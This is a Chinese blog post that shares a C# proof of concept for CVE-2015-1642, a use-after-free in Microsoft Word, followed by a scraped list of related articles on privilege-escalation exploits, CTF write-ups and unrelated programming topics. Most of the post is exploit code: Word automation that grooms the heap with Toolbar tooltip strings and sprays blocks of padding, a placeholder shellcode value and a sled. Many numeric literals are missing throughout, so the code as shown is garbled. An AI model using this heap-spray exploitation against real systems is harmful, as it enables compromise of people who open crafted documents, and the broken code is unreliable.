月初,玄武实验室的“每日安全动态”推送了一篇office UAF漏洞利用的文章,之前对office上UAF漏洞利用占位问题有些疑问,刚好就借助这篇文章重现了一下。其中堆喷射部分不是特别稳定,漏洞成因和利用的细节请参见原文链接。今天想起来,就把POC发这里吧。

  原文链接:Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 CTaskSymbol UAF by @ d0mzw https://t.co/NPJUJUqNSH

 namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
} private void HeapSpray(Word.Document objDoc)
{
Word.InlineShape[] ocx = new Word.InlineShape[];
MSComctlLib.Toolbar[,] toolbarArray = new MSComctlLib.Toolbar[, ]; int block_size = 0x1000; string padding = "\u8080\u8080";
while (padding.Length < 0x1000)
{
padding += "\u2121\u2121";
}
padding = padding.Substring(, (0x9f2 - 0xc) / ); // 0a0a0a0a points here
string shellcode = "\uC0DE\uC0DE"; string pattern = "\u9090\u9090";
while (pattern.Length < block_size)
{
pattern += pattern;
}
pattern = pattern.Substring(, 0x800 - padding.Length - shellcode.Length); string block = padding + shellcode + pattern;
while (block.Length < 0xfffe0 / )
{
block += block;
} string chunk = block.Substring(, (0xfffe0 - 0x6) / ); //MessageBox.Show("[+] objAlloc size: 0x" + (chunk.Length * 0x2 + 0x4 + 0x2).ToString("X")); for (int i = ; i < ; i++)
{
ocx[i] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar");
for (int j = ; j < ; j++)
{
toolbarArray[i, j] = ((MSComctlLib.Toolbar)ocx[i].OLEFormat.Object);
toolbarArray[i, j].Buttons.Add().ToolTipText = chunk;
}
}
} private void DefragmenHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingB = "\u0c0c\u0c0c";
while (paddingB.Length < 0x60 / )
{
paddingB += paddingB;
}
string objAllocB = paddingB.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayB = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayB[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayB[j].Buttons.Add().ToolTipText = objAllocB;
} MSComctlLib.Toolbar[] tabArrayC = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayC[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayC[j].Buttons.Add().ToolTipText = objAllocB;
}
} private void ReplaceHeap(Word.Document objDoc, Word.InlineShape[] ocx)
{
string paddingA = "\u0a06\u0a0a";
while (paddingA.Length < 0x60 / )
{
paddingA += paddingA;
}
string objAllocA = paddingA.Substring(, 0x5a / ); MSComctlLib.Toolbar[] tabArrayA = new MSComctlLib.Toolbar[];
ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); for (int j = ; j < ; j++)
{
tabArrayA[j] = (MSComctlLib.Toolbar)ocx[].OLEFormat.Object;
tabArrayA[j].Buttons.Add().ToolTipText = objAllocA;
}
} private void button1_Click(object sender, EventArgs e)
{
Word.Application objWord = new Word.Application();
objWord.Visible = true; object objMissing = System.Reflection.Missing.Value;
Word.Document objDoc = objWord.Documents.Add(ref objMissing, ref objMissing, ref objMissing, ref objMissing); // How to: Programmatically Insert Text into Word Documents;
// https://msdn.microsoft.com/en-us/library/6b9478cs.aspx Word.InlineShape[] ocx = new Word.InlineShape[]; ReplaceHeap(objDoc, ocx); ocx[] = objDoc.InlineShapes.AddOLEControl("MSComctlLib.Toolbar"); DefragmenHeap(objDoc, ocx); HeapSpray(objDoc); // Null out the reference
object filename = Application.StartupPath + @"\test.docx";
objDoc.SaveAs2(ref filename);
objDoc.Close(ref objMissing, ref objMissing, ref objMissing);
objDoc = null;
objWord.Quit(ref objMissing, ref objMissing, ref objMissing);
objWord = null;
}
}
}

CVE-2015-1642 POC的更多相关文章

  1. 如何确定Ubuntu下是否对某个CVE打了补丁

        前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015 ...

  2. CVE-2015-1328 Ubuntu 12.04, 14.04, 14.10, 15.04 overlayfs Local Root

    catalog . 引言 . Description . Effected Scope . Exploit Analysis . Principle Of Vulnerability . Patch ...

  3. CVE-2015-1328(本地提权漏洞)

    /* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebe ...

  4. [EXP]Joomla! Component Easy Shop 1.2.3 - Local File Inclusion

    # Exploit Title: Joomla! Component Easy Shop - Local File Inclusion # Dork: N/A # Date: -- # Exploit ...

  5. GitHub万星项目:黑客成长技术清单

    最近有个GitHub项目很火,叫"Awesome Hacking",这个项目是由Twitter账号@HackwithGithub 维护,喜欢逛Twitter的安全爱好者应该了解,在 ...

  6. 转:GitHub 万星推荐成长技术清单

    转:http://www.4hou.com/info/news/7061.html 最近两天,在reddit安全板块和Twitter上有个GitHub项目很火,叫“Awesome Hacking”. ...

  7. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

  8. GitHub 万星推荐:黑客成长技术清单

    GitHub 万星推荐:黑客成长技术清单 导语:如果你需要一些安全入门引导,“Awesome Hacking”无疑是最佳选择之一. 最近两天,在reddit安全板块和Twitter上有个GitHub项 ...

  9. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  10. 从补丁到POC CVE-2015-0003(2015.3)

    从补丁到POC CVE-2015-0003 1. 简介 该漏洞是由于Windows的win32k.sys模块存在对用户层参数验证不完全,导致存在空指针解引用(Null Pointer Derefere ...

随机推荐

  1. ionic3打包打包安卓apk详细过程以及遇到的问题

    1.jdk和sdk的安装以及环境变量配置参考打包详解 上述连接已经从下载安装jdk以及sdk的环境变量配置到打包的流程以及很详细了.但是在我自己安装打包的过程中遇到了这篇文章中没有遇到的问题,下面图文 ...

  2. 关于jsonp的学习

    电力监控的项目中用到的jsonp请求 例子: //js文件 // **.js; Param({ "YX-15582":{ID:"KWR1_PLC01",TYPE ...

  3. SQL Cookbook—字符串

    1.遍历字符串2.计算字符在字符串中出现的次数3.从字符串中删除不需要的字符4.将字符和数字数据分离5.判别字符串是不是字母数字型的6.提取姓名的大写首字母缩写7.按字符串中的部分内容排序8.按字符串 ...

  4. Python生成pyc文件

    Python生成pyc文件 pyc文件是py文件编译后生成的字节码文件(byte code).pyc文件经过python解释器最终会生成机器码运行.所以pyc文件是可以跨平台部署的,类似Java的.c ...

  5. JVM的内存结构

    程序计数器 程序计数器(Program Counter Register)是一块较小的内存空间,它可以看作是当前线程所执行的字节码的行号指示器.字节码解释器工作时就是通过改变这个计数器的值来选取下一条 ...

  6. 深入理解Solaris X64系统调用

    理解系统调用的关键在于洞悉系统调用号是联系用户模式与内核模式的纽带.而在Solaris x64平台上,系统调用号被保存在寄存器RAX中,从用户模式传递到内核模式.一旦进入内核模式,内核的sys_sys ...

  7. ImportError: cannot import name wordnet

    ubuntu安装好nltk,调用时,出现问题: 解决: Install Setuptools: http://pypi.python.org/pypi/setuptools Install Pip: ...

  8. 隐藏uitabbar的代码

    隐藏uitabbar的代码: /** *  隐藏UITabbar * *  @param hidden yes隐藏 */ - (void)hidesTabBar:(BOOL)hidden{ [UIVi ...

  9. 网络协议-HTTPS

    转载:http://www.renfed.com/2017/02/03/https/ 一.解决问题 HTTPS解决的是中间人攻击 公网:域名解析--IP:所以中间站点抢答返回错误IP 局域网:路由器找 ...

  10. git 检查是否有commit到本地但还没push的代码

    使用 git status 命令可以得到以下结果 $ git status On branch dev_getTicketCnt Your branch is ahead of 'origin/mas ...